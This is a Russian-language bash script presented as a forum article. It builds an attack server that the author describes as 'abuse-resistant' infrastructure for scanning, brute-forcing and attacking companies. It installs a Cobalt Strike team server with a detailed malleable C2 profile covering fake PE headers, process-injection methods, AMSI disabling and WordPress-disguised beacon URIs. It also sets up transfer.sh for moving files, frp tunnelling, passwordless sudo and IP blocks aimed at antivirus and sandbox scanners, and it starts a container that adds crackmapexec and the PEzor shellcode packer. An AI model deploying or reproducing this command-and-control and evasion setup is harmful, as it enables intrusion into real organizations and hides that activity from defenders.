#!/bin/bash
#DEFINE: _GETPLUSHKI
#После прочтения этой статьи Вы получите:
#* рабочий скрипт создания VPS сервера для тестирования на проникноваение от A до Z
#* воспользоваться этим скриптом сможет любой. От самого соленого "Новичка" до, казалось-бы "Профессионала" ;-) Внутри - масса интересного: теперь Вам не нужно покупать "абузоустойчивые сервера для скана и брута" - скрипт сделает такой сервер за Вас! Единственное что потребуется от Вас - купить VPS помощнее и аккаунт VPN с wireguard. Дабы избежать рекламы этих сервисов, я намеренно не указываю тут названия, но Вы всегда можете (точнее как всегда) постучаться в личку с этим вопросом)) Вы сможете спать спокойно после череды атак но "корпы" - ведь Вы будете защищены на 150%! Вы получите графическую оболочку и клиент для работы через нее! А так же куча инструментов, которыми сможете воспользоваться после окончания работы скрипта. Каких? Читаем ниже ;-) Прошу не пинать, если вдруг статься принесла убыток Вашему бизнесу: я за диалог ;-)
#DEFINE: _ABOUT
#Все пишут о "поднятии локальных привелегий", о "уязвимостях нулевого дня (ранее я уже выкладывал парочку, можете глянуть в профиле) и прочих радостях, для пользователя, который только совершает первые шаги в этом направлении, совершенно недоступных, а иногда даже отпугивающих, вводящих в заблуждение. Поэтому я решил подойти к вопросу немного с другой стороны. Начну, как говорится, с начала. А именно - создания безопасного "рабочего места" и обеспечение пользователя инструментами первой небходимости. Нечто новое тут найдут так-же и "Профессионалы" индустрии. Спросите "с чего такая уверенность?". Отвечу: не мало людей пишут в личку (мы сейчас о "Профи"). Компетентность подобных - очень за "0". Без обид ;-) Читаем, исполняем и наслаждаемся =)
#Сразу хочу оговориться: для решения подобной задачи я выбрал и использую такую конфигурацию - 12 ядер, 64 ОЗУ, 1ТБ ссд.
#Обошлась подобная конфа - 150 долларов в год. Т.е. по 12,5$ в месяц. Подобное предложение сможете без труда отыскать в сети
#Везде пароли: p@ssw0rd
#DEFINE: _HOSTWEAPONISATION
#Ниже - скрипт обустройства хоста, который послужит нам платформой для нашей будущей экосистемы, в котором (и далее в других) я постараюсь максимально понятно, досутпно а главное с наивысшим КПД(*по моему мнению) выполнить эту, с одной стороны простую задачу. Но в любом уравнении всего существуют неизвестные, которые я постараюсь максимально раскрыть.
export DEBIAN_FRONTEND=noninteractive
export TERM=xterm-256color
USE_COLORS=true
#repo
home="$(pwd)" ; hname="$1" ; hostname "$hname" ; echo "$hname" > /etc/hostname ; echo 127.0.0.1 localhost > /etc/hosts ; echo "$(wget -qO- ipinfo.io/ip)" "$hname" >> /etc/hosts
wget https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb
sleep 1 ; dpkg -i kali-archive-keyring_2020.2_all.deb
echo 'deb http://kali.download/kali kali-rolling main non-free contrib' > /etc/apt/sources.list
sleep 10 ; while [[ -n "$(wget -O /tmp/dummy https://repo.x4k.dev/dummy)" ]] ; do sleep 1; done
wget https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb ; sleep 1 ; dpkg -i kali-archive-keyring_2020.2_all.deb
#swap
dd if=/dev/zero of=/swapfile2 bs=1G count=8 ; mkswap /swapfile2
chmod 600 /swapfile2 ; swapon /swapfile2
echo '/swapfile2 none swap sw,pri=10 0 0' >> /etc/fstab ; rm /etc/motd &>/dev/null
#upgrade
apt-get update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
touch /root/.hushlogin
#packages
apt-get -f -y install certbot ipset curl sudo nodejs npm jq golang git unzip python certbot openjdk-11-jdk python2-dev python2 python3-pip python3-dev make htop dnsutils net-tools curl wget zip calc wireguard screen p7zip-full docker.io docker-compose inotify-tools kali-defaults kali-linux-core python-is-python2 ntp wine64 wine nano imagemagick -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
systemctl enable docker ; systemctl start docker
apt-get -y purge apache2
#timedate issue
systemctl restart ntp.service
cat<<'EOF'>>/etc/ntp.conf
server 0.ubuntu.pool.ntp.org
server 1.ubuntu.pool.ntp.org
server 2.ubuntu.pool.ntp.org
server 3.ubuntu.pool.ntp.org
EOF
ntpq -p ; timedatectl set-local-rtc 1 ; hwclock --systohc ; sleep 5
#pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py
#ulimit
echo 'session required pam_limits.so' >> /etc/pam.d/common-session
cat<<'EOF'>/etc/security/limits.conf
* soft nofile 655350
* hard nofile 655350
root soft nofile 655350
root hard nofile 655350
EOF
#transfer.sh
wget -O /usr/local/bin/transfer.sh $(curl -sL https://api.github.com/repos/dutchcoders/transfer.sh/releases/latest | grep linux-amd64 | grep browser_download_url | head -1 | cut -d \" -f 4) && chmod +x /usr/local/bin/transfer.sh
cat<<'EOF'>/etc/systemd/system/transfer.service
[Unit]
Description=transferr
[Service]
ExecStart=sudo transfer.sh --listener 0.0.0.0:4466 --temp-path /tmp/ --provider local --basedir /tmp --purge-interval 1
WorkingDirectory=/tmp
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
#grub
cat<<'EOF'>/etc/default/grub
GRUB_DEFAULT=0
GRUB_TIMEOUT=0
GRUB_CMDLINE_LINUX_DEFAULT="elevator=noop ipv6.disable=1 net.ifnames=0 apparmor=1 security=apparmor mce=0 page_poison=1 pti=on mds=full,nosmt audit=1 components union=overlay vsyscall=none init_on_alloc=1 init_on_free=1 l1tf=full,force spectre_v2=on spec_store_bypass_disable=seccomp extra_latent_entropy quiet"
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"
EOF
update-grub
#DNS-server
mkdir /tmp/dns && cd /tmp/dns ; wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url | head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64 /opt/dnscrypt-proxy ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ ; systemctl disable systemd-resolved
cat<<'EOF'>/opt/dnscrypt-proxy/dnscrypt-proxy.toml
listen_addresses = ['127.0.0.1:53']
max_clients = 250
ipv4_servers = true
ipv6_servers = false
dnscrypt_servers = true
doh_servers = true
require_dnssec = true
require_nolog = false
require_nofilter = false
disabled_server_names = []
force_tcp = false
timeout = 5000
keepalive = 30
blocked_query_response = 'refused'
lb_strategy = 'p2'
lb_estimator = true
cert_refresh_delay = 240
fallback_resolvers = ['9.9.9.9:53', '8.8.8.8:53']
ignore_system_dns = true
netprobe_timeout = 60
netprobe_address = '9.9.9.9:53'
log_files_max_size = 10
log_files_max_age = 7
log_files_max_backups = 1
block_ipv6 = false
block_unqualified = true
block_undelegated = true
reject_ttl = 600
cache = true
cache_size = 256000
cache_min_ttl = 2400
cache_max_ttl = 86400
cache_neg_min_ttl = 60
cache_neg_max_ttl = 600
[local_doh]
[query_log]
format = 'tsv'
[nx_log]
format = 'tsv'
[blacklist]
[ip_blacklist]
[whitelist]
[schedules]
[sources]
[sources.'public-resolvers']
urls = ['https://raw.githubusercontent.com/DNSCrypt/dnscrypt-resolvers/master/v2/public-resolvers.md', 'https://download.dnscrypt.info/resolvers-list/v2/public-resolvers.md']
cache_file = 'public-resolvers.md'
minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
prefix = ''
[sources.'relays']
urls = ['https://raw.githubusercontent.com/DNSCrypt/dnscrypt-resolvers/master/v2/relays.md', 'https://download.dnscrypt.info/resolvers-list/v2/relays.md']
cache_file = 'relays.md'
minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
refresh_delay = 72
prefix = ''
[sources.quad9-resolvers]
urls = ["https://quad9.net/dnscrypt/quad9-resolvers.md", "https://raw.githubusercontent.com/Quad9DNS/dnscrypt-settings/main/dnscrypt/quad9-resolvers.md"]
minisign_key = "RWQBphd2+f6eiAqBsvDZEBXBGHQBJfeG6G+wJPPKxCZMoEQYpmoysKUN"
cache_file = "quad9-resolvers.md"
refresh_delay = 72
prefix = "quad9-"
[broken_implementations]
fragments_blocked = ['cisco', 'cisco-ipv6', 'cisco-familyshield', 'cisco-familyshield-ipv6', 'quad9-dnscrypt-ip4-filter-alt', 'quad9-dnscrypt-ip4-filter-pri', 'quad9-dnscrypt-ip4-nofilter-alt', 'quad9-dnscrypt-ip4-nofilter-pri', 'quad9-dnscrypt-ip6-filter-alt', 'quad9-dnscrypt-ip6-filter-pri', 'quad9-dnscrypt-ip6-nofilter-alt', 'quad9-dnscrypt-ip6-nofilter-pri', 'cleanbrowsing-adult', 'cleanbrowsing-family-ipv6', 'cleanbrowsing-family', 'cleanbrowsing-security']
[doh_client_x509_auth]
[anonymized_dns]
skip_incompatible = false
[dns64]
[static]
EOF
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; cd ~
rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf
#cobaltstrike
wget -O /tmp/cs.zip ; mkdir /opt/cobaltstrike ; unzip -P .is /tmp/cs.zip -d /opt/cobaltstrike ; rm -r /opt/cobaltstrike/custom ; sleep 1
cat<<'EOF'>/usr/local/bin/gencert
#!/bin/bash
runuser=$(whoami)
tempdir=$(pwd)
domain="$(hostname)"
password="p@ssw0rd"
domainStore="cobaltstrike.store"
domainPkcs="$domain.pkcs12"
func_install_letsencrypt(){
echo '[Starting] to build letsencrypt cert!'
certbot certonly --standalone -d $domain -n --register-unsafely-without-email --agree-tos
if [ -e /etc/letsencrypt/live/$domain/fullchain.pem ]; then
echo '[Success] letsencrypt certs are built!'
else
echo "[ERROR] letsencrypt certs failed to build. Check that DNS A record is properly configured for this domain"
exit 1
fi
}
func_build_pkcs(){
cd /etc/letsencrypt/live/$domain
echo '[Starting] Building PKCS12 .p12 cert.'
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out $domainPkcs -name $domain -passout pass:$password
echo '[Success] Built $domainPkcs PKCS12 cert.'
echo '[Starting] Building Java keystore via keytool.'
printf "yes" | keytool -importkeystore -deststorepass $password -destkeypass $password -destkeystore $domainStore -srckeystore $domainPkcs -srcstoretype PKCS12 -srcstorepass $password -alias $domain
echo '[Success] Java keystore $domainStore built.'
cp $domainStore $tempdir
echo '[Success] Moved Java keystore to current working directory.'
}
main() {
func_install_letsencrypt
func_build_pkcs
}
main
EOF
chmod +x /usr/local/bin/gencert ; (crontab -l | grep . ; echo -e "0 0 1,15 * * sudo /usr/local/bin/gencert") | crontab -
cd /opt/cobaltstrike ; rm cobaltstrike.store ; gencert
cat<<'EOF'>url.profile
###Global Options###
set sample_name "url.profile";
set sleeptime "37500";
set jitter "26";
set useragent "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36";
set host_stage "true";
###DNS options###
dns-beacon {
# Options moved into 'dns-beacon' group in 4.3:
set dns_idle "8.8.8.8";
set dns_max_txt "220";
set dns_sleep "0";
set dns_ttl "1";
set maxdns "255";
set dns_stager_prepend ".wwwds.";
set dns_stager_subhost ".e2867.dsca.";
# DNS subhost override options added in 4.3:
set beacon "d-bx.";
set get_A "d-1ax.";
set get_AAAA "d-4ax.";
set get_TXT "d-1tx.";
set put_metadata "d-1mx";
set put_output "d-1ox.";
set ns_response "zero";
}
###SMB options###
set pipename "ntsvcs";
set pipename_stager "scerpc";
###TCP options###
set tcp_port "8000";
###SSL Options###
https-certificate {
set keystore "cobaltstrike.store";
set password "p@ssw0rd";
}
###HTTP-GET Block###
http-get {
set uri "/wp-content/themes/calliope/wp_data.php";
client {
header "Accept" "*/*";
header "Host" "wmwifbajxxbcxmucxmlc.com";
header "Connection" "Keep-Alive";
metadata {
base64url;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Server" "nginx";
header "Content-Type" "application/x-msdos-program";
header "Connection" "close";
header "Last-Modified" "Fri, 24 Apr 2020 23:06:05 GMT";
header "ETag" "\"76200-5a41168e83140\"";
header "Accept-Ranges" "bytes";
output {
netbios;
prepend "MZ......................@............................................. .!..L.!This program cannot be run in DOS mode.
$.......PE..L...$..^...........!................9+....................................................@..................................$..P.......X...............................8...............................@............................................text............................... ..`.rdata..6N.......P..................@..@.data...`....0...$..................@....rsrc...X............@..............@..@.reloc...............H..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................h.........Y.....h.........Y.....h.........Y......D$..V........t V..........^.....D$..T$....H.......T$.....t$.R.P..T$..H.;J.u...;.u.........2.....................D$.;H.u
..;D$.u......2...........4.............QV.t$..D$...........t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.........4.............Q.D$...$....V.t$....u&j..F........F.....h.4......K.....^Y...PV.=.....^Y...........5.............QV.t$..D$......P....t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.......V.t$.V...........D$..0t..@.tR..^....@.pR..^..........
'R.......S...C..V.5 C..+....L$...C...
,R.........+R.....f.D$..P...W.=";
append "p....D$...C.....C...D$$6....L$..........;.r.(.\"R.....+........@+....C....+.+.........5 C....!...u....C..k..+...U....+....f9T$.w............$R....E.......C..k
.C.....v+..C...D$...C...D$..8....D$.+...C.......:.........&R....
\"R..........u...C....E......C.........*
.C......L$..
,R....@+
.C...
.C....
0R..It6..*t(......t............C.....D$.....:..C... .\\$............u...]......@..C..+\\$....L$.*.....L$..
,R....@+......C...|$ Z...u...
(R....+.......5 C...L$...T.
..|$ Z....9u...
(R....+.......5 C...D$....@+L$..L$$....L$........=p..._^[...............S.$.U.l$.VW.{...;.......+.9|$..B|$.;.u.../9F........~...F.r...U......j......_..^][.............F.;.s..v.W.A.....tj.{..r....~..r*...(..u..~....r..._.....^][..._..^][..........t.W..+PQ.........~...~.r.....8..._^][.......8._..^][...hd........hd........hT....j...............S.\\$.V....tW.N....r.......;.rE...r........F...;.v1...r..t$.....+.SV.....^[....t$.....+.SV.....^[...W.|$....wz.F.;.s..v...W.!.....t\\.~..r(...&..u..~....r
.._.....^[....._^[..........t.WSP.........~...~.r.....8..._^[.......8._..^[...hT....m..................V...L$.W.~.;.r{.T$...+.;.w!.~...N.r
.._......^....._^.........tC.~..r.......+.S.....+.t.P...PS.........~...~.[r
....8..._^.......8._..^...hd....................U..j.h@...d.....P...SVW..0..3.P.E.d......e....u..E.........v....'.^..............;.v.......<.+.;.v.......O..E.....3..E...tF...w.Q.........E...u1......E..M..E.@.e.P.E........E..%.....}..E..u..E..]...tH.~..r1.../.u..~..r
.6........j..F......F.....j.............t.SQP.........~..r
.6.........E.......~..^....r........M.d.
....Y_^[..].......D$.3...t....w.P.,..........t............U...=..........t..M.9.t
....x..u.3.]..@.].U...=,.....(...t..M.9.t
....x..u.3.]..@.].U..V.u...............^]...U..V.u....A...........^]...U..V.u....&...........^]...U..V.u..........(.....^]...................U..V..............E..t.V.I...Y..^]...U..V........E..t.V.*...Y..^]...U.....j..E..E.....P.M..t...h.....E..E.....P.>....U......E..M..E..E.P.!...h.....E..E.....P......U......E..M..E..E.P.....h.....E..E.(...P......;";
print;
}
}
}
#HTTP-GET VARIANT
http-get "variant_april24dll" {
set uri "/files/april24.dll";
client {
header "Accept" "*/*";
header "Host" "wmwifbajxxbcxmucxmlc.com";
header "Connection" "Keep-Alive";
metadata {
base64url;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Server" "nginx";
header "Content-Type" "application/x-msdos-program";
header "Connection" "close";
header "Last-Modified" "Fri, 24 Apr 2020 23:06:05 GMT";
header "ETag" "\"76200-5a41168e83140\"";
header "Accept-Ranges" "bytes";
output {
netbios;
prepend "MZ......................@............................................. .!..L.!This program cannot be run in DOS mode.
$.......PE..L...$..^...........!................9+....................................................@..................................$..P.......X...............................8...............................@............................................text............................... ..`.rdata..6N.......P..................@..@.data...`....0...$..................@....rsrc...X............@..............@..@.reloc...............H..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................h.........Y.....h.........Y.....h.........Y......D$..V........t V..........^.....D$..T$....H.......T$.....t$.R.P..T$..H.;J.u...;.u.........2.....................D$.;H.u
..;D$.u......2...........4.............QV.t$..D$...........t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.........4.............Q.D$...$....V.t$....u&j..F........F.....h.4......K.....^Y...PV.=.....^Y...........5.............QV.t$..D$......P....t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.......V.t$.V...........D$..0t..@.tR..^....@.pR..^..........
'R.......S...C..V.5 C..+....L$...C...
,R.........+R.....f.D$..P...W.=";
append "p....D$...C.....C...D$$6....L$..........;.r.(.\"R.....+........@+....C....+.+.........5 C....!...u....C..k..+...U....+....f9T$.w............$R....E.......C..k
.C.....v+..C...D$...C...D$..8....D$.+...C.......:.........&R....
\"R..........u...C....E......C.........*
.C......L$..
,R....@+
.C...
.C....
0R..It6..*t(......t............C.....D$.....:..C... .\\$............u...]......@..C..+\\$....L$.*.....L$..
,R....@+......C...|$ Z...u...
(R....+.......5 C...L$...T.
..|$ Z....9u...
(R....+.......5 C...D$....@+L$..L$$....L$........=p..._^[...............S.$.U.l$.VW.{...;.......+.9|$..B|$.;.u.../9F........~...F.r...U......j......_..^][.............F.;.s..v.W.A.....tj.{..r....~..r*...(..u..~....r..._.....^][..._..^][..........t.W..+PQ.........~...~.r.....8..._^][.......8._..^][...hd........hd........hT....j...............S.\\$.V....tW.N....r.......;.rE...r........F...;.v1...r..t$.....+.SV.....^[....t$.....+.SV.....^[...W.|$....wz.F.;.s..v...W.!.....t\\.~..r(...&..u..~....r
.._.....^[....._^[..........t.WSP.........~...~.r.....8..._^[.......8._..^[...hT....m..................V...L$.W.~.;.r{.T$...+.;.w!.~...N.r
.._......^....._^.........tC.~..r.......+.S.....+.t.P...PS.........~...~.[r
....8..._^.......8._..^...hd....................U..j.h@...d.....P...SVW..0..3.P.E.d......e....u..E.........v....'.^..............;.v.......<.+.;.v.......O..E.....3..E...tF...w.Q.........E...u1......E..M..E.@.e.P.E........E..%.....}..E..u..E..]...tH.~..r1.../.u..~..r
.6........j..F......F.....j.............t.SQP.........~..r
.6.........E.......~..^....r........M.d.
....Y_^[..].......D$.3...t....w.P.,..........t............U...=..........t..M.9.t
....x..u.3.]..@.].U...=,.....(...t..M.9.t
....x..u.3.]..@.].U..V.u...............^]...U..V.u....A...........^]...U..V.u....&...........^]...U..V.u..........(.....^]...................U..V..............E..t.V.I...Y..^]...U..V........E..t.V.*...Y..^]...U.....j..E..E.....P.M..t...h.....E..E.....P.>....U......E..M..E..E.P.!...h.....E..E.....P......U......E..M..E..E.P.....h.....E..E.(...P......;";
print;
}
}
}
###HTTP-Post Block###
http-post {
set uri "/post.php";
set verb "POST";
client {
header "Accept" "*/*";
header "Cache-Control" "no-cache";
header "Host" "wmwifbajxxbcxmucxmlc.com";
header "Connection" "close";
output {
base64url;
parameter "FE8hVs3";
}
id {
base64url;
parameter "id";
}
}
server {
header "Server" "nginx";
header "Content-Type" "text/html; charset=UTF-8";
header "Connection" "close";
output {
netbios;
prepend "..\"N ......0.9..5......Tb....\"shb.fL.....t....u.......s...D.{...Qv&5..v9mO...A.mY..@..xPWM..Z$..y.q,P....Nn~..O .[..Lo..{.Z.....yKd.B..o.M>..J...~n.D0..Bm.:.Tx... .@.3..!.%...BC.\\I.7C..U..X..D.4....h........'m......gXaQ..<.....X..]...%5.Fx.LO..D._I~.@$.R[..p...<";
append ">2...........{..\"..~=....._...Nu...s.mm.....u..lV..r......g2)r.w.'G2.*Y.i.,.9...o...t..zhX.h....K=........AS";
print;
}
}
}
###HTTP-Stager Block###
http-stager {
set uri_x86 "/wp-content/themes/wp-front.php";
set uri_x64 "/wp-content/themes/wp_data.php";
client {
header "Host" "wmwifbajxxbcxmucxmlc.com";
header "Connection" "Keep-Alive";
}
server {
header "Server" "nginx";
header "Content-Type" "text/html; charset=UTF-8";
header "Connection" "close";
output {
print;
}
}
}
###Malleable PE/Stage Block###
#filled this out best I could.
stage {
set checksum "0";
set compile_time "16 Apr 2020 17:56:00";
set entry_point "170000";
set image_size_x86 "740000";
set image_size_x64 "740000";
set name "WWanMM.dll";
set userwx "false";
set cleanup "false";
set sleep_mask "false";
set stomppe "false";
set obfuscate "false";
set rich_header "";
set sleep_mask "false";
set module_x86 "wwanmm.dll";
set module_x64 "wwanmm.dll";
transform-x86 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
}
transform-x64 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" "";
strrep "beacon.x64.dll" "";
}
string "{EE 03 00 00 E9 03 00 00 EE 03 00 00 EF 03 00 00 F0 03 00 00 EE 03 00 00 EE 03 00 00 EA 03 00 00 EC 03 00 00 EB 03 00 00 ED 03 00 00}";
string "{55 89 e5 53 57 56 8b ?? ?? 85 f6 74 ?? 8b ?? ?? 6a 00 53 e8 ?? ?? ?? ?? 83 c4 08 a8 01 75 ?? 8b ?? ?? ?? ?? ?? 89 f9 e8 ?? ?? ?? ?? 89 c1 0f ?? ?? 66 ?? ?? 66 ?? ?? 74 ?? bb 01 00 00 00 eb ?? 89 d8 99 f7 f9 0f ?? ?? ?? 8b ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 8d ?? ?? 74 ?? 8d ?? ?? 66 83 fa 5f 72 ?? 66 83 f8 0d 77 ?? ba 00 26 00 00 0f a3 c2 72 ?? eb ?? 31 f6 eb ?? 89 de eb ?? 8b ?? ?? 89 f0 5e 5f 5b 5d c3}";
}
###Process Inject Block###
process-inject {
set allocator "NtMapViewOfSection";
set min_alloc "16700";
set userwx "false";
set startrwx "false";
transform-x86 {
prepend "\x90\x90\x90";
}
transform-x64 {
prepend "\x90\x90\x90";
}
execute {
CreateThread;
CreateRemoteThread;
CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";
SetThreadContext;
NtQueueApcThread-s;
CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
RtlCreateUserThread;
}
}
###Post-Ex Block###
post-ex {
set spawnto_x86 "%windir%\\syswow64\\svchost.exe";
set spawnto_x64 "%windir%\\sysnative\\svchost.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
}
EOF
cat<<'EOF'>/usr/local/bin/ts
#!/bin/bash
cd /opt/cobaltstrike ; hname="$(hostname)" ;
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=p@ssw0rd -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer "$(dig $hname +short A)" p@ssw0rd url.profile "$(date --date='1 year' -u +'%Y-%m-%d')"
EOF
chmod +x /usr/local/bin/ts
cat<<'EOF'>/etc/systemd/system/teamserver.service
[Unit]
Description=teamserver
[Service]
ExecStart=sudo /usr/local/bin/ts
WorkingDirectory=/opt/cobaltstrike
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOF
systemctl enable teamserver ; systemctl start teamserver
#frp - expose noVNC port
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frps /usr/bin/
cat<<'EOF'>/usr/local/bin/frps.ini
[common]
bind_port = 7000
EOF
cat<<'EOF'>/etc/systemd/system/frps.service
[Unit]
Description=Frp Server Service
After=network.target
[Service]
Type=simple
User=nobody
Restart=on-failure
RestartSec=5s
ExecStart=/usr/bin/frps -c /usr/local/bin/frps.ini
[Install]
WantedBy=multi-user.target
EOF
systemctl enable frps ; systemctl start frps
#sudoers
cat<<'EOF'> /etc/sudoers
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
root ALL=(ALL) NOPASSWD: ALL
gvm ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) NOPASSWD: ALL
@includedir /etc/sudoers.d
EOF
#GVM
useradd gvm ; usermod -aG docker gvm ; usermod -aG sudo gvm ; mkdir /opt/gvm-data ; chown -hR gvm:gvm /opt/gvm-data
docker run --detach --publish 8080:9392 --publish 5432:5432 --publish 2222:22 --env DB_PASSWORD="postgres DB password" --env PASSWORD="webUI password" --volume gvm-data:/data --name gvm securecompliance/gvm ; chown -hR gvm:gvm /opt/gvm-data
echo "sed -i '1 achown -hR gvm:gvm /data' /start.sh" > /tmp/gvmcmd
echo 'useradd gvm ; usermod -aG sudo gvm' >> /tmp/gvmcmd ; echo 'chown -hR gvm:gvm /usr/local/var/lib/gvm' >> /tmp/gvmcmd
echo 'chown -hR gvm:gvm /data' >> /tmp/gvmcmd ; chmod +x /tmp/gvmcmd ; docker cp /tmp/gvmcmd gvm:/chowngvmdata ; docker exec -ti gvm ./chowngvmdata
#PATROWL
sleep 20 ; cd /opt ; git clone https://github.com/Patrowl/PatrowlHears ; cd /opt/PatrowlHears ; docker-compose up -d
docker-compose exec patrowlhears bash -c 'cd backend_app && ./load_init_data.sh'
docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'
(crontab -l | grep . ; echo -e "* * */1 * * cd /opt/PatrowlHears && docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'") | crontab -
#badboyz
cat<<'EOF'>/usr/local/bin/goodboyz
#!/bin/bash
ipset -q flush goodboyz ; ipset -q create goodboyz nethash
for ip in $(curl -s https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw | \
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"); \
do ipset add goodboyz $ip ; done
iptables -A INPUT -m set --match-set goodboyz src -j DROP
iptables -A FORWARD -m set --match-set goodboyz src -j DROP
EOF
chmod +x /usr/local/bin/goodboyz ; goodboyz
#В итоге мы получим необходимую базу, в которую вошли:
#----------------
#*cobalt-strike* сервер + malleable profile, который позволит Вам генерировать более устойчивый и "чистый" шеллкод
#*transfer.sh* - на :4466 порту - наверное самую необходимую в нашем нелегком деле штуку - очень быструю и понятную передачу файлов, как посредством curl `curl --upload-file /path/to/your/file https://your.domen:4466/any`, так и посредством веб-интерфейса https://your.domen:4466
#*VPS* - В числе улучшений - dnscrypt-proxy, выбранный по-умолчанию. т.к. в защите нуждаются не только TCP но и UDP трафик исходящий и поступающий на сервер, корректировка разных системных параметров, например поднятие числа -ulimit -n, создали SWAP и пр.
#*https-сертификат*, который нам понадобится для решения абсолютно разных задач. Он так же необходим cobalt-серверу, HTTPS-биконы с "правильным" сертификатом то-самое)
#*в sshd" были внесены две строчки, которые запрещают подключение по-паролю (КАК?? Вам никто не говорил их создавать и первыми делом
#*goodboyz* - спарсит один известный гист, в котором неравнодушные граждане делятся адресами и регексом ботов, песочниц, антивирусов и других нехороших редисок в правила iptables и ipset, с помощью которых мы прост заблокируем доступ 50-60% нашим основным непрятностям
#*в grub* - так же были внесены изменения, направленные на улучшение быстродействия и повышения уровня безопасноти ВПС
#---------------
#Помимо CobaltStrike сервера, так же в докер-контейнерах были подняты:
#GVM - народный любимец и безусловный лидер в сегменте сетевых сканеров, так же известный как OpenVas
#Ну и наконец был поднят контейнер с PatrowlHears, который является аналогом exploitdb, только, по моему мнение более удобным и "объемным"
#DEFINE: _DOCKERSCRIPT
#Пришло время познакомится поближе с докером и создать образ, который будет являться ключевым в нашей сегодняшней работе..
cat > /tmp/start.sh << 'DOCKERSTART'
#!/bin/bash
export DEBIAN_FRONTEND=noninteractive
apt-get -y update && apt-get -y dist-upgrade
apt-get -y install kali-desktop-xfce sudo curl perl python-is-python2 python3 nodejs python3-pip python3-dev python2 bash wget git fontconfig mingw-w64 zsh fzf tigervnc-standalone-server dnsutils net-tools wget nano openjdk-11-jdk proxychains crackmapexec xfce4-terminal wine wine64 spiderfoot
apt-get -y purge resolvconf ; update-alternatives --set x-terminal-emulator /usr/bin/xfce4-terminal.wrapper
cat<<'EOF'>/etc/sudoers
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/bin:/root/.local/bin:/root/.local/bin:$NPM_PACKAGES/bin:/bin:/usr/llvm-mingw"
root ALL=(ALL) NOPASSWD: ALL
x ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) NOPASSWD: ALL
EOF
#install pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py
#golang latest
wget -O /tmp/go.tar.gz https://dl.google.com/go/go1.16.5.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf /tmp/go.tar.gz ; export GOROOT=/usr/local/go ; export PATH=$PATH:/usr/local/go/bin
#PEzor true install
git clone https://github.com/phra/PEzor /opt/PEzor ; cd /opt/PEzor ; git pull ; sed -i 's+golang++g' install.sh ; printf "Y" | bash install.sh
pezc="/opt/PEzor/PEzor.sh" ; sed -i 's+SGN=false+SGN=true+g' $pezc
